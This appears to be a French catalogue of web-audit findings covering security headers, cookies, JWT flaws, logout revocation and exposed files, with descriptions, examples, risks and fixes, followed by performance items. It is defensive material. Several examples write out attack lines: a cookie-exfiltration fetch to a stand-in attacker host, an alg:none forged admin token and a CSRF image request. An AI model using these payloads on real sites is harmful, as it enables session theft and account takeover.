L'app n'interdit pas explicitement l'accès à des APIs sensibles (caméra, micro, géolocalisation, paiement) : un script tiers ou iframe peut tenter de les demander à l'utilisateur.

Example
Une iframe publicitaire embarquée demande l'accès au micro de l'utilisateur, qui clique 'autoriser' par habitude.
Risk
Espionnage utilisateur (micro/caméra) via script tiers compromis.
Fix
Ajouter Permissions-Policy: camera=(), microphone=(), geolocation=(), payment=() et n'autoriser que ce qui est strictement nécessaire.
Des éléments chargés en clair sur une page chiffrée contenu mixte

Une page HTTPS charge une ressource via HTTP. Le navigateur la bloque ou affiche un avertissement « non sécurisé », et la ressource peut être interceptée.

Example
Une image ou un script en http:// inclus dans une page https:// → blocage console.
Risk
Rendu cassé (ressource bloquée).
Fix
Servir toutes les ressources en HTTPS (URL protocole-relatives ou absolues https).
Des scripts extérieurs sans vérification, mais d’origines déjà encadrées SRI / CSP

Des ressources tierces sont chargées sans integrity, mais la CSP script-src épingle chacun de leurs hôtes sans joker. L'exposition n'est pas celle d'un CDN ouvert : il faut compromettre cet hôte précis.

Example
SDK analytics injecté au runtime, hôte listé explicitement dans la CSP.
Risk
Le fournisseur peut toujours modifier son propre fichier ; la CSP ne protège pas de ça.
Fix
À qualifier plutôt qu'à corriger : un SRI figé sur une ressource versionnée par le fournisseur casse le chargement à chaque publication.
Des scripts extérieurs sont chargés sans vérification de leur contenu Subresource Integrity (SRI)

Des <script>/<link> chargés depuis un autre domaine (CDN) n'ont pas d'attribut integrity. Le navigateur exécute le fichier tel quel, sans vérifier qu'il n'a pas été altéré.

Example
Un <script src='https://cdn.tiers.com/lib.js'> sans integrity : si le CDN est piraté, le script modifié s'exécute chez tous les visiteurs.
Risk
Attaque supply-chain : exécution de code arbitraire avec les droits de la page.
Fix
Ajouter integrity="sha384-..." + crossorigin="anonymous" sur les ressources tierces (ou les self-héberger).
L’adresse des pages visitées est transmise aux sites tiers Referrer-Policy

Le navigateur peut envoyer l'URL complète (avec tokens, IDs) à des sites tiers via l'en-tête Referer. Tokens / paramètres sensibles fuient.

Example
Une URL https://app.fr/reset-password?token=xxx est partagée vers un site tiers via un lien → le token apparaît dans les logs du tiers.
Risk
Fuite de tokens de reset / invitation / single-use vers des tiers.
Fix
Ajouter Referrer-Policy: strict-origin-when-cross-origin (ou no-referrer si zéro fuite tolérée).
L’adresse non chiffrée ne renvoie pas vers l’adresse chiffrée redirection HTTP → HTTPS

Le site répond en HTTP sans rediriger (301/308) vers HTTPS. Un utilisateur qui tape l'URL sans https:// reste en clair, exposé à l'interception.

Example
http://mon-app.fr renvoie 200 au lieu de rediriger vers https:// → cookies et données en clair sur un Wi-Fi public.
Risk
Interception man-in-the-middle avant tout chiffrement.
Fix
Rediriger tout le trafic HTTP vers HTTPS en 301/308 au niveau du serveur/edge.
La configuration de connexion est publique OpenID Connect discovery

Le document de découverte OpenID Connect (/.well-known/openid-configuration) est public. C'est un comportement normal, signalé à titre informatif.

Example
/.well-known/openid-configuration renvoie les endpoints d'autorisation/token.
Risk
Aucun (informatif) : cartographie de la fédération d'identité.
Fix
Aucune action requise ; vérifier que seuls les endpoints prévus sont exposés.
La connexion chiffrée n’est pas imposée dès la première visite HSTS preload

L'en-tête HSTS est présent mais sans includeSubDomains + preload. La première visite (avant que le navigateur connaisse la politique) reste vulnérable à un downgrade.

Example
Strict-Transport-Security: max-age=31536000 sans includeSubDomains; preload.
Risk
Fenêtre de downgrade au premier accès.
Fix
Ajouter includeSubDomains; preload et soumettre le domaine sur hstspreload.org.
La déconnexion ne déclenche aucun appel de révocation aucun DELETE/POST logout-revoke observé

Aucune requête de révocation (suppression du jeton, appel de déconnexion côté serveur) n’a été observée au moment du clic sur déconnexion. Sans un tel appel, rien n’indique qu’un mécanisme de révocation existe côté serveur.

Example
Le clic sur « Se déconnecter » redirige vers l’écran de connexion sans qu’aucune requête ne parte vers le serveur : seul l’affichage change.
Risk
Un jeton volé avant la déconnexion reste utilisable jusqu’à son expiration naturelle, faute de mécanisme de révocation.
Fix
Faire de la déconnexion un appel serveur explicite (DELETE /session ou équivalent) qui invalide le jeton, pas seulement un nettoyage côté client.
La déconnexion ne déconnecte pas

Un mécanisme de déconnexion existe mais ne clôt pas réellement la session (l’utilisateur reste connecté ou peut revenir en arrière sur une page authentifiée).

Example
Après « Se déconnecter », le bouton retour réaffiche le tableau de bord.
Risk
Fausse impression de sécurité : la session reste active.
Fix
Invalider la session côté serveur au logout et empêcher le retour arrière sur les pages authentifiées (no-store).
La page ne dit pas qui a le droit de l’incruster frame-ancestors

La CSP ne déclare pas de directive frame-ancestors. La page peut être embarquée dans une iframe sur n'importe quel site externe : un attaquant peut alors superposer une fausse UI par-dessus l'app pour piéger l'utilisateur (clickjacking).

Example
Un site malveillant intègre l'app dans une iframe invisible, par-dessus un faux bouton 'Gagner un iPhone' → l'utilisateur clique en réalité sur 'Supprimer mon compte'.
Risk
Clickjacking : actions sensibles déclenchées au nom de l'utilisateur.
Fix
Ajouter frame-ancestors 'none' (interdire toute iframe) ou 'self' (autoriser uniquement le même domaine) à la CSP.
La page peut être incrustée dans un site tiers à des fins de piégeage X-Frame-Options

L'app peut être chargée dans une iframe sur n'importe quel site externe. Un attaquant peut superposer ton interface sous une fausse UI pour piéger l'utilisateur (clickjacking).

Example
Un site malveillant intègre ton app dans une iframe invisible, par-dessus un faux bouton 'Gagner un iPhone'.
Risk
Actions non voulues déclenchées au nom de l'utilisateur (suppression, transfert, validation).
Fix
Ajouter X-Frame-Options: DENY (ou SAMEORIGIN si tu intègres tes propres iframes) ou utiliser frame-ancestors dans la CSP.
La règle des scripts autorise le code construit à la volée CSP 'unsafe-eval'

La CSP autorise 'unsafe-eval', ce qui permet l'utilisation de eval(), new Function(), setTimeout('code') et autres constructions dynamiques. Un attaquant qui parvient à injecter une chaîne de caractères dans un contexte évalué peut exécuter du code arbitraire.

Example
Une lib de templating obsolète appelle eval(template) sur du contenu utilisateur → injection de code triviale.
Risk
Surface d'attaque XSS élargie sur des canaux inattendus (configs, templates).
Fix
Retirer 'unsafe-eval' et remplacer les libs qui en dépendent (template engine compilé au build, JSON.parse strict).
La règle des scripts autorise le code inséré dans la page CSP 'unsafe-inline'

La directive script-src (ou style-src) autorise 'unsafe-inline'. Cette autorisation neutralise la protection principale de la CSP contre les XSS : tout script HTML injecté est exécuté comme s'il n'y avait pas de CSP.

Example
CSP script-src 'self' 'unsafe-inline' → une faille XSS injecte <script>fetch('https://attaquant.fr/?c='+document.cookie)</script> qui s'exécute normalement.
Risk
Protection XSS de la CSP réduite à zéro.
Fix
Retirer 'unsafe-inline' et migrer vers un nonce généré par requête (script-src 'nonce-RANDOM') ou des hashes ('sha256-...').
La règle des scripts autorise n’importe quelle origine CSP source '*'

Une directive CSP autorise toutes les origines (* ou https:). N'importe quel domaine sur Internet peut alors servir des scripts, styles ou ressources à la page : la CSP n'agit plus comme une whitelist, elle devient cosmétique.

Example
script-src * → un attaquant qui arrive à injecter <script src="https://attaquant.fr/x.js"> est exécuté sans filtre.
Risk
CSP perd toute valeur défensive : équivalent à ne pas en avoir.
Fix
Remplacer les wildcards par la liste explicite des origines nécessaires, ou utiliser 'self' quand c'est suffisant.
La version d’un composant côté client est lisible depuis le navigateur React.version / angular.version / jQuery.fn.jquery

Une bibliothèque front (React, Angular, jQuery, ou une autre nommée dans un fichier téléchargé) expose sa version par un global ou par le nom du fichier chargé. Le constat expose une version : il n'affirme aucune vulnérabilité, aucune base CVE n'étant consultée.

Example
window.jQuery.fn.jquery répond 3.4.1 ; react-dom@17.0.2.min.js apparaît dans les scripts chargés.
Risk
Un attaquant peut croiser cette version avec une base de vulnérabilités publiques pour cibler un correctif manquant.
Fix
Mettre à jour régulièrement les bibliothèques front ; la version en elle-même n’est pas dissimulable côté client.
Le code source de l’application est téléchargeable source map

Une source map (.map) est accessible publiquement. Le code source original, les commentaires et parfois des clés y sont reconstituables.

Example
/_astro/index.a1b2c3d4.js.map renvoie 200 → code source dé-minifiable.
Risk
Exposition de la logique métier.
Fix
Ne pas déployer les .map en production, ou les restreindre (auth/IP) côté serveur.
Le navigateur n’est pas obligé de rester en connexion chiffrée Strict-Transport-Security (HSTS)

Le serveur ne renvoie pas d'en-tête Strict-Transport-Security. Un attaquant en position de man-in-the-middle (Wi-Fi public, DNS hijack) peut forcer un downgrade vers HTTP et intercepter les credentials lors de la première visite ou si l'utilisateur tape l'URL sans https://.

Example
Utilisateur dans un café tape mon-app.fr → 1ère requête HTTP en clair → attaquant sur le Wi-Fi capture la session de login.
Risk
Vol d'identifiants par interception sur réseau hostile.
Fix
Ajouter Strict-Transport-Security: max-age=31536000; includeSubDomains; preload sur toutes les réponses HTTPS.
Le navigateur peut deviner le type d’un fichier au lieu de le respecter X-Content-Type-Options

Le navigateur peut deviner le type MIME d'une ressource (sniffing). Un fichier hostile uploadé peut être réinterprété comme du JS ou HTML et exécuté.

Example
Un utilisateur uploade un fichier avatar.png qui contient en réalité du JavaScript → IE/anciens Chrome l'exécutent.
Risk
Exécution de code malveillant via fichiers uploadés par les utilisateurs.
Fix
Ajouter X-Content-Type-Options: nosniff sur toutes les réponses.
Le schéma de l’API est lisible par quiconque le demande introspection GraphQL

Le point GraphQL répond à une requête d’introspection : la liste complète des types, champs et mutations est publique.

Example
POST /graphql avec { __schema { types { name } } } → 200 et le schéma.
Risk
Un attaquant reçoit la carte complète de l’API.
Fix
Désactiver l’introspection en production, ou la réserver aux sessions autorisées.
Le serveur accepte des méthodes de chiffrement faibles cipher suites

Le serveur autorise des cipher suites obsolètes utilisant CBC ou SHA-1. Ces algorithmes sont vulnérables à des attaques cryptographiques publiques (BEAST, POODLE, Lucky13) qui peuvent permettre le déchiffrement progressif des données.

Example
Serveur accepte TLS_RSA_WITH_AES_128_CBC_SHA → vulnérable à BEAST sur les vieux clients.
Risk
Données chiffrées déchiffrables à terme par un attaquant patient.
Fix
Configurer la liste de cipher suites selon Mozilla SSL Configuration Generator (profil 'modern' ou 'intermediate') : bannir CBC et SHA-1.
Le serveur accepte encore des versions anciennes du chiffrement TLS 1.0 / 1.1

Le serveur accepte des connexions en TLS 1.0 ou 1.1, deux versions officiellement dépréciées depuis 2020 (RFC 8996). Ces versions souffrent de vulnérabilités cryptographiques connues (BEAST, POODLE) et de cipher suites obsolètes.

Example
Audit SSL Labs note le serveur 'C' à cause de l'acceptation de TLS 1.0.
Risk
Interception et déchiffrement possibles des communications utilisateur (credentials, sessions, données personnelles).
Fix
Désactiver TLS 1.0 et 1.1 côté serveur (Nginx, Traefik, Cloudflare, ALB) : ne laisser que TLS 1.2 et 1.3.
Le serveur annonce sa technologie à qui la demande X-Powered-By

L'en-tête X-Powered-By divulgue la stack technique (framework, runtime). Information offerte à un attaquant pour orienter ses tentatives.

Example
X-Powered-By: Express révèle le framework backend.
Risk
Reconnaissance de la stack facilitée.
Fix
Désactiver l'en-tête (app.disable("x-powered-by"), ou suppression côté reverse-proxy).
Le serveur annonce sa version à qui la demande Server

L'en-tête Server révèle le logiciel et sa version exacte. Un attaquant cible directement les CVE connues de cette version.

Example
Server: nginx/1.27.0 permet de chercher les vulnérabilités de cette version précise.
Risk
Ciblage facilité des vulnérabilités connues.
Fix
Masquer la version (server_tokens off; sous Nginx) ou retirer l'en-tête.
Le serveur n’a pas limité le débit d’un enchaînement de lectures rate limiting

Des requêtes de **lecture** rejouées rapidement passent toutes sans être throttlées (aucun 429 ni en-tête Retry-After/RateLimit-*). **Périmètre du test** : lectures same-origin uniquement, les endpoints sensibles (écritures, envoi de code, invitations, génération de rapport), où une limitation est le plus souvent posée, ne sont pas sollicités. Ce constat n'établit donc pas une absence de protection.

Example
20 requêtes envoyées en rafale, toutes en 200 : aucun garde-fou.
Risk
Brute-force d’identifiants ou de codes.
Fix
Ajouter une limitation de débit côté serveur/passerelle (par IP et par compte) répondant 429 avec Retry-After.
Le serveur ne propose pas la version la plus sûre du chiffrement TLS 1.3

Le serveur n'accepte pas TLS 1.3 et reste sur TLS 1.2 ou inférieur. Les anciennes versions ont des suites de chiffrement plus faibles et des temps de handshake plus lents.

Example
Un audit type SSL Labs note le serveur 'B' au lieu de 'A+' à cause de cipher suites obsolètes.
Risk
Vulnérabilité à des attaques connues sur TLS ≤ 1.2 (BEAST, POODLE downgrade) selon config.
Fix
Activer TLS 1.3 côté Nginx/Traefik/Cloudflare et désactiver TLS ≤ 1.1.
Le site se présente lui-même comme un environnement de test hostname / bandeau non-production

Le nom d'hôte (staging., preprod., review-482.) ou un bandeau visible sur la page désigne un environnement de test ou de préproduction, pas la production.

Example
L'URL auditée commence par staging. alors qu'elle est atteignable depuis l'extérieur.
Risk
Un lien partagé par erreur mène un client sur un environnement instable ou aux données fictives.
Fix
Restreindre l'accès public à l'environnement (authentification, IP allowlist) ou retirer le bandeau une fois en production.
N’importe quel site peut interroger le serveur depuis un navigateur Access-Control-Allow-Origin: *

Une réponse d'API renvoie Access-Control-Allow-Origin: *, autorisant n'importe quel site à lire ses réponses depuis un navigateur.

Example
/api/v1/users répond Access-Control-Allow-Origin: *.
Risk
Lecture cross-origin des réponses.
Fix
Restreindre l'ACAO à une allowlist d'origines de confiance ; jamais * avec credentials.
Rien n’indique à la personne qu’elle est connectée

Des cookies sont présents mais aucun ne semble lié à la session, et aucun indicateur d’expiration/timeout n’a été trouvé dans le DOM. Difficile de savoir si la session expire.

Example
Aucun cookie Secure/HttpOnly de session identifiable.
Risk
Sessions potentiellement éternelles → fenêtre d’attaque élargie.
Fix
Utiliser un cookie de session sécurisé avec expiration, et indiquer l’état/timeout de session côté UI.
Se déconnecter n’invalide pas la session côté serveur jeton valide après logout (rejeu en lecture)

Le jeton capturé juste avant la déconnexion répond encore avec succès une fois celle-ci jouée. La déconnexion efface l’affichage et le stockage côté navigateur, mais la session reste active côté serveur : quiconque a intercepté ce jeton avant la déconnexion continue de l’utiliser.

Example
Un jeton intercepté sur un réseau public reste utilisable des heures après que la victime s’est déconnectée de son côté.
Risk
Un jeton volé avant la déconnexion reste exploitable jusqu’à son expiration naturelle.
Fix
Mettre en place une révocation côté serveur au moment de la déconnexion (liste noire avec expiration alignée sur le jeton, ou jeton de rafraîchissement supprimé en base).
Un écran réservé accessible sans être connecté

Une zone censée être protégée reste accessible sans authentification valide (pas de redirection vers le login). Risque d’exposition de données ou d’actions réservées.

Example
Accès direct à /admin sans session valide sans redirection.
Risk
Fuite de données réservées aux utilisateurs authentifiés.
Fix
Appliquer un contrôle d’accès côté serveur sur chaque route protégée et rediriger vers le login si non authentifié.
Un fichier sensible est accessible à tous /.git, /.env

Un chemin sensible (/.git, /.env) est servi publiquement. Secrets, historique de code et configuration sont exposés : compromission directe.

Example
/.git/HEAD renvoie ref: refs/heads/main → tout le dépôt est récupérable.
Risk
Fuite de secrets et de code source.
Fix
Bloquer l'accès aux fichiers/dossiers cachés côté serveur et ne jamais déployer .git/.env.
Un jeton de connexion est accessible à tout script de la page JWT en localStorage/sessionStorage

Le jeton est lu dans le stockage local ou de session du navigateur plutôt que dans un cookie protégé (HttpOnly). N’importe quel script qui s’exécute sur la page (une dépendance compromise, une faille XSS) peut donc le lire et l’envoyer ailleurs.

Example
Une bibliothèque tierce compromise lit localStorage.getItem('access_token') et l’exfiltre vers un serveur externe.
Risk
Vol de session complet via une simple exécution de script sur la page.
Fix
Stocker le jeton dans un cookie HttpOnly, Secure, SameSite=Strict plutôt que dans le stockage local ou de session.
Un jeton de connexion est rangé là où tout script peut le lire localStorage

Le token d'auth est stocké dans localStorage. Il est lisible depuis JS : toute faille XSS expose immédiatement la session, contrairement à un cookie HttpOnly.

Example
XSS via une lib tierce → localStorage.getItem('token') exfiltré en 1 ligne.
Risk
Toute XSS = compromission immédiate de la session.
Fix
Migrer vers un cookie HttpOnly + Secure + SameSite=Strict posé par le backend.
Un jeton de connexion est signé avec une méthode faible JWT HS256 / none

Le JWT utilise none, HS256 avec un secret court, ou un algorithme déprécié. Un attaquant peut forger des tokens valides.

Example
Algorithme none accepté → un attaquant fabrique un token {alg:'none'} et passe admin:true.
Risk
Forge de tokens : un attaquant se fait passer pour un admin.
Fix
Utiliser RS256/ES256 + secret/cle privée >= 256 bits, refuser explicitement alg: none.
Un jeton de connexion est signé avec une méthode faible ou aucune JWT HS256 / none

Le JWT utilise un algorithme de signature faible : none (aucune signature), HS256 avec un secret court, ou un algorithme déprécié. Un attaquant peut alors forger des tokens valides et se faire passer pour n'importe quel utilisateur, y compris un administrateur.

Example
Backend accepte alg: none → un attaquant fabrique {"alg":"none"}.{"sub":"admin","role":"admin"}. et obtient un accès admin.
Risk
Forge complète de tokens : un attaquant se fait passer pour un administrateur.
Fix
Utiliser RS256 ou ES256 avec une clé privée >= 256 bits, refuser explicitement alg: none côté backend, et valider l'algorithme attendu avant la vérification de signature.
Un jeton de connexion ne dit pas à quel service il est destiné JWT sans claim aud

Le jeton ne déclare pas l’audience à laquelle il est destiné. Un service qui accepte la même signature qu’un autre peut alors se voir présenter un jeton émis pour ce dernier et l’accepter à tort.

Example
Un jeton émis pour l’API de facturation est rejoué avec succès contre l’API de gestion des comptes, qui partage la même clé de signature.
Risk
Un jeton légitime pour un service en autorise un autre par erreur.
Fix
Ajouter une claim aud identifiant le service cible et la faire vérifier à chaque requête.
Un jeton de connexion ne dit pas quel serveur l’a délivré JWT sans claim iss

Le jeton ne déclare pas le serveur d’authentification qui l’a émis. Le service qui le reçoit ne peut donc pas vérifier qu’il vient bien de son propre serveur d’authentification plutôt que d’un tiers.

Example
Un environnement de test et un environnement de production partagent le même format de jeton sans distinction d’émetteur, exposant la production à un jeton de test.
Risk
Impossible de distinguer un jeton légitime d’un jeton émis par une autre source de confiance moindre.
Fix
Ajouter une claim iss identifiant le serveur d’authentification et la faire vérifier à chaque requête.
Un jeton de connexion ne périme jamais JWT exp

Le JSON Web Token utilisé pour l'authentification ne contient pas de claim exp (timestamp d'expiration). Le token reste valide indéfiniment : si un attaquant l'obtient (log, XSS, leak), il conserve un accès permanent au compte, même après changement de mot de passe.

Example
Un token leaké via un log Sentry public il y a 6 mois reste utilisable aujourd'hui.
Risk
Persistence d'un accès non révocable côté client.
Fix
Ajouter un claim exp court (15 minutes recommandé) et mettre en place un mécanisme de refresh token rotatif côté backend.
Un jeton de connexion reste valide plus d’une heure exp - iat > 60 min

Le jeton de connexion vit plus de 60 minutes entre son émission et son expiration. Plus cette fenêtre est longue, plus un jeton volé (via un journal, une faille XSS, une fuite) reste utilisable par qui l’a intercepté.

Example
Un jeton émis à 9h reste valide jusqu’à 21h : douze heures d’accès pour qui l’aurait intercepté.
Risk
Fenêtre d’exploitation prolongée en cas de vol du jeton.
Fix
Réduire la durée de vie du jeton à 5-15 minutes et s’appuyer sur un jeton de rafraîchissement révocable pour prolonger la session.
Un jeton de connexion transporte des données personnelles en clair PII dans le contenu du JWT

Le contenu du jeton (lisible en Base64, non chiffré) porte une donnée personnelle en clair : une adresse email, un nom complet, ou un rôle suffisamment détaillé pour identifier une personne ou sa fonction précise dans l’organisation. Quiconque intercepte ou inspecte le jeton lit cette donnée sans effort.

Example
Le jeton contient "email": "jean.dupont@exemple.fr", lisible par un simple décodage Base64 depuis le stockage du navigateur.
Risk
Exposition de données personnelles à quiconque accède au jeton, sans avoir besoin de le déchiffrer.
Fix
Ne porter dans le jeton qu’un identifiant opaque ; aller chercher les données personnelles côté serveur au moment où elles sont réellement nécessaires, ou chiffrer le contenu (JWE) si elles doivent y figurer.
Un rechargement interrompu déconnecte pour de bon

Le jeton de rafraîchissement tourne à chaque appel, sans tolérance pour une réponse perdue. Le serveur invalide l'ancien jeton avant que le client ait reçu le nouveau : si la requête est interrompue (onglet fermé, navigation, réseau coupé), le navigateur continue de présenter un jeton dépensé et toutes les tentatives suivantes répondent 401. L'utilisateur est déconnecté sans l'avoir demandé, et sans explication.

Example
L'utilisateur clique un lien pendant que l'application rafraîchit son jeton en arrière-plan : la réponse est annulée, la session est morte.
Risk
Déconnexions inexpliquées, d'autant plus fréquentes que la connexion est instable.
Fix
Tolérer brièvement l'ancien jeton après rotation (quelques secondes), ou ne l'invalider qu'à la première utilisation réussie du nouveau. Détecter la réutilisation reste possible au-delà de cette fenêtre.
Un script injecté pourrait voler les jetons de connexion XSS

Des jetons d’authentification sont stockés dans le web storage (localStorage/sessionStorage), lisibles par n’importe quel script de la page, alors que la CSP est absente ou permissive (autorise inline/eval). Une faille XSS permettrait de voler la session.

Example
Un token JWT dans localStorage + une CSP avec unsafe-inline → un script injecté lit le token et l’envoie ailleurs.
Risk
Vol de session : l’attaquant se fait passer pour l’utilisateur.
Fix
Stocker les jetons dans un cookie Secure; HttpOnly; SameSite (inaccessible au JS) et durcir la CSP (retirer unsafe-inline/unsafe-eval).
Un témoin de session est envoyé depuis d’autres sites cookie SameSite

Un cookie de session ne déclare pas d'attribut SameSite. Il est envoyé sur des requêtes cross-site → vulnérabilité CSRF.

Example
Un site malveillant héberge <img src='https://mon-app.fr/api/transfer?to=attaquant'> → la requête part avec le cookie de session.
Risk
Actions sensibles exécutées au nom de l'utilisateur (CSRF).
Fix
Poser SameSite=Lax par défaut, SameSite=Strict pour les cookies de sessions très sensibles.
Un témoin de session est lisible par les scripts de la page cookie 'HttpOnly'

Un cookie de session est lisible depuis JavaScript (document.cookie). En cas de XSS, l'attaquant peut le voler.

Example
Une faille XSS exécute fetch('https://attaquant.fr/?c='+document.cookie) et exfiltre la session.
Risk
Combinaison XSS + cookie volable = compromission de compte triviale.
Fix
Ajouter le flag HttpOnly sur les cookies de session.
Un témoin de session peut circuler en clair cookie 'Secure'

Un cookie de session est posé sans le flag Secure. Il peut être envoyé sur des connexions HTTP non chiffrées et intercepté.

Example
L'utilisateur tape mon-app.fr/page dans un café → cookie de session envoyé en HTTP → un attaquant sur le Wi-Fi le récupère.
Risk
Vol de session → l'attaquant se connecte en tant que l'utilisateur.
Fix
Ajouter le flag Secure sur tous les cookies de session ou sensibles.
Une erreur affiche l’écran de débogage du framework, pas une page applicative stack trace / debug screen

La page rencontrée est l'écran de débogage natif du framework serveur (trace de pile, chemin de fichier, parfois un extrait de code) plutôt qu'une page d'erreur pensée pour un visiteur.

Example
Une erreur PHP affiche Fatal error: Uncaught Error avec le chemin complet du fichier source.
Risk
Exposition de chemins serveur, de noms de fichiers internes et parfois d'extraits de code.
Fix
Désactiver le mode debug en production et servir une page d’erreur applicative générique.
Une protection du navigateur non activée en-tête de sécurité

Un en-tête HTTP de sécurité recommandé est absent de la réponse. Le navigateur applique alors des protections plus faibles contre certaines classes d’attaques.

Example
Absence de X-Content-Type-Options: nosniff.
Risk
Surface d’attaque élargie (sniffing MIME, clickjacking, fuite de référent).
Fix
Ajouter les en-têtes manquants au niveau du serveur/reverse-proxy et vérifier leur présence sur toutes les routes.
Une réponse d’amorçage expose une longue liste de feature flags bootstrap flags

Une réponse d'amorçage envoie au client au moins trois entrées sous une clé nommée flags, featureFlags ou toggles, plutôt qu'une réponse resserrée sur ce qui concerne l'utilisateur courant.

Example
La réponse /api/bootstrap contient une clé featureFlags listant une douzaine d’entrées.
Risk
Une fonctionnalité non annoncée ou un mode dégradé sont découvrables par simple lecture du réseau.
Fix
Ne renvoyer côté client que les flags pertinents pour l’utilisateur courant, jamais la configuration complète.

Performance

49

How long the page takes to show up and respond.

Des fichiers texte envoyés sans compression gzip / brotli

Des ressources texte (CSS/JS) de même origine sont servies sans compression : bande passante gaspillée et rendu retardé.

Example
Un bundle JS de 400 Ko servi non compressé au lieu de ~110 Ko en brotli.
Risk
Chargement plus lent à chaque visite.
Fix
Étendre la compression Nginx/CDN à tous les types texte (application/javascript, text/css).
Des fichiers versionnés que le navigateur ne garde pas en mémoire Cache-Control

Des assets au nom hashé (immuables) sont servis sans Cache-Control long. Le navigateur les re-télécharge alors qu'ils ne changent jamais.

Example
/_astro/index.a1b2c3d4.js servi sans max-age → re-téléchargé à chaque visite.
Risk
Temps de chargement répétés inutiles.
Fix
Servir les assets fingerprintés avec Cache-Control: public, max-age=31536000, immutable, et un cache court/revalidate sur le HTML.
Des grandes images servies en une seule taille pour tous les écrans srcset

Une image de grande taille n'a pas d'attribut srcset. Le mobile télécharge la même version haute résolution que le desktop.

Example
Un visuel pleine largeur sans srcset → 1 Mo téléchargé même sur petit écran.
Risk
LCP mobile dégradé.
Fix
Fournir srcset + sizes avec plusieurs largeurs, ou utiliser <picture>.
Des images bien plus grandes que l’espace où elles s’affichent

Une image est servie en résolution bien supérieure à sa taille d'affichage. Des centaines de Ko sont téléchargés puis redimensionnés en pure perte.

Example
Une vignette affichée en 200 px servie en 2000 px de large.
Risk
Bande passante gaspillée.
Fix
Servir des images à la taille d'affichage (× DPR), avec srcset/sizes pour les variantes.
Des images dans un format ancien, plus lourd JPEG / PNG au lieu de WebP / AVIF

Des images sont servies en JPEG/PNG au lieu de formats modernes (WebP/AVIF). À qualité égale, le poids est 2 à 3 fois supérieur.

Example
Un visuel hero en JPEG de 800 Ko → ~250 Ko en WebP, ~150 Ko en AVIF.
Risk
Chargement plus lent.
Fix
Générer des variantes WebP/AVIF (via <picture> ou un pipeline d'images) avec repli JPEG/PNG.
Des images décodées en bloquant l’affichage decoding="async"

Les images n'ont pas l'attribut decoding="async". Leur décodage (transformation du flux compressé en bitmap) s'exécute sur le thread principal et bloque temporairement les autres travaux du navigateur (scroll, animations, JS).

Example
Une galerie photo qui affiche 12 images haute résolution provoque des micro-saccades de scroll pendant 200-400 ms à chaque arrivée d'image.
Risk
Micro-saccades visibles pendant le scroll, surtout sur mobile bas de gamme.
Fix
Ajouter decoding="async" sur les <img> non critiques pour que le décodage se fasse en arrière-plan.
Des images hors de vue chargées d’emblée lazy loading

Des images situées sous la ligne de flottaison (hors viewport initial) sont téléchargées dès le chargement de la page, sans loading="lazy". Le navigateur consomme de la bande passante et du temps CPU pour des images que l'utilisateur ne verra peut-être jamais : au détriment du contenu visible.

Example
Sur une page d'accueil avec 30 vignettes en grille, les 25 dernières (hors écran) téléchargent en parallèle du LCP → 4 MB inutiles avant que la zone visible ne s'affiche.
Risk
Bande passante mobile gaspillée (forfaits limités, zones de couverture faibles).
Fix
Ajouter loading="lazy" sur les <img> sous le pli, et garder loading="eager" (ou rien) pour l'image LCP.
Des images sans taille déclarée, qui font sauter la page width / height

Des <img> n'ont pas d'attributs width/height. Le navigateur ne réserve pas l'espace, provoquant un saut de mise en page (CLS) pendant le chargement.

Example
Le texte sous une image saute vers le bas quand l'image arrive → clic au mauvais endroit.
Risk
CLS dégradé (Core Web Vitals).
Fix
Renseigner width et height (ou aspect-ratio CSS) sur chaque <img>.
Des polices dans un format lourd TTF / OTF au lieu de WOFF2

Les polices web sont servies en TTF, OTF ou WOFF (v1) au lieu de WOFF2. WOFF2 est compressé Brotli et fait gagner 30 à 50 % de poids par rapport aux formats antérieurs : sans aucune perte de qualité.

Example
Inter chargée en .ttf (180 KB) au lieu de .woff2 (40 KB) → 140 KB inutiles par police, x4 si on a 4 graisses.
Risk
Bande passante mobile gaspillée : coût pour l'utilisateur sur forfait limité.
Fix
Convertir les polices en WOFF2 (outil woff2_compress ou Google Fonts) et déclarer format('woff2') en première position dans src.
Des polices découvertes tard par le navigateur preload

Les polices critiques (utilisées dans le LCP) ne sont pas préchargées via <link rel='preload'>. Découverte tardive → texte visible en retard.

Example
Police du H1 chargée seulement après le parsing du CSS → FOIT/FOUT.
Risk
LCP retardé, CLS si bascule de police visible.
Fix
Ajouter <link rel='preload' as='font' type='font/woff2' href='/fonts/inter.woff2' crossorigin>.
Des sélecteurs empilés sur trop de niveaux plus de 3 combinateurs descendants dans un même sélecteur

Un sélecteur comme .app .layout .main .content .card .title oblige le moteur à remonter plusieurs niveaux dans l'arbre du document pour chaque tentative de correspondance, alors qu'une classe unique sur l'élément visé se résout directement.

Example
.app .layout .main .content .card .title { font-size: 1.25rem; } au lieu de .content-card__title.
Risk
Temps de résolution de style allongé sur les pages riches en éléments.
Fix
Aplatir la hiérarchie avec une convention de nommage (BEM ou utilitaires) plutôt que des sélecteurs imbriqués.
Des sélecteurs qui forcent un parcours coûteux du document sélecteur :has(), universel qualifié, ou attribut data-* en tête de sélecteur

Certains sélecteurs coûtent bien plus cher à résoudre qu'une classe ou un identifiant : :has() force un parcours descendant complet, un sélecteur universel qualifié (.sidebar > *) empêche le moteur de réutiliser le style calculé d'un élément frère, et un attribut data-* utilisé seul ne bénéficie d'aucun accès direct par table de hachage.

Example
.form:has(input:invalid) { border-color: red; } sur un formulaire long.
Risk
Temps de recalcul de style allongé, surtout sur une page riche en éléments.
Fix
Remplacer l'attribut par une classe équivalente, restreindre :has() à un enfant direct (:has(> .field--invalid)), et éviter l'universel qualifié au profit d'une classe sur l'enfant.
Des services extérieurs contactés sans préparation de la connexion preconnect

Aucune balise <link rel="preconnect"> n'est déclarée pour les domaines tiers utilisés (CDN images, API, fonts, analytics). Chaque ressource subit alors le coût complet d'établissement de connexion : résolution DNS + handshake TCP + handshake TLS : 100 à 300 ms à chaque fois.

Example
Les images du site sont sur cdn.imgix.com mais pas de preconnect → chaque image paie 200 ms de connexion à froid.
Risk
LCP retardé de 200 à 500 ms si l'élément LCP est sur un domaine tiers.
Fix
Ajouter <link rel="preconnect" href="https://cdn.tiers.com" crossorigin> dans le <head> pour les 2-4 domaines tiers les plus critiques.
Des styles chargés en chaîne, l’un après l’autre @import

Le CSS utilise @import qui force un téléchargement en série (cascade synchrone) : le navigateur découvre l'import après avoir parsé le premier fichier.

Example
@import url('fonts.css'); en tête de app.css → 2 RTT minimum en série.
Risk
FCP dégradé, pas de parallélisation possible.
Fix
Remplacer @import par <link rel='stylesheet'> côté HTML.
Des variables CSS globales qui n’ont aucun type déclaré custom properties sur :root sans règle @property associée

